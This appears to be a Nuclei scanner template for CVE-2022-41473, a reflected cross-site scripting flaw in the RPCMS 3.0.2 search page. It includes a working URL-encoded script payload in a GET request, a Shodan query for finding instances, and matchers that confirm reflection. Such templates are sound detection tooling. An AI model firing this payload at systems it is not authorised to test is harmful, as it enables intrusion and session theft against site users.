id: CVE-2022-41473 info: name: RPCMS 3.0.2 - Cross-Site Scripting author: arafatansari severity: medium description: | RPCMS 3.0.2 contains a cross-site scripting vulnerability in the Search function. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. remediation: | Apply the latest security patch or upgrade to a newer version of RPCMS to mitigate the XSS vulnerability. reference: - https://github.com/ralap-z/rpcms/issues/1 - https://nvd.nist.gov/vuln/detail/CVE-2022-41473 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2022-41473 cwe-id: CWE-79 epss-score: 0.01162 epss-percentile: 0.83327 cpe: cpe:2.3:a:rpcms:rpcms:3.0.2:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: 'rpcms' product: 'rpcms' shodan-query: http.html:"RPCMS" tags: cve,cve2022,rpcms,xss http: - method: GET path: - "{{BaseURL}}/search/?q=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" matchers-condition: and matchers: - type: word part: body words: - '' - 'rpcms' condition: and - type: word part: header words: - "text/html" - type: status status: - 200 # digest: 490a004630440220106e4c054cfb5607a9adea78ba4d34d884eaa801f94c5fe959267ff5009e4a44022058f3fefd665ac4ec3fef639fa71033cc4aecf2eaeb08df6882b333c4006f0122:922c64590222798bb761d5b6d8e72950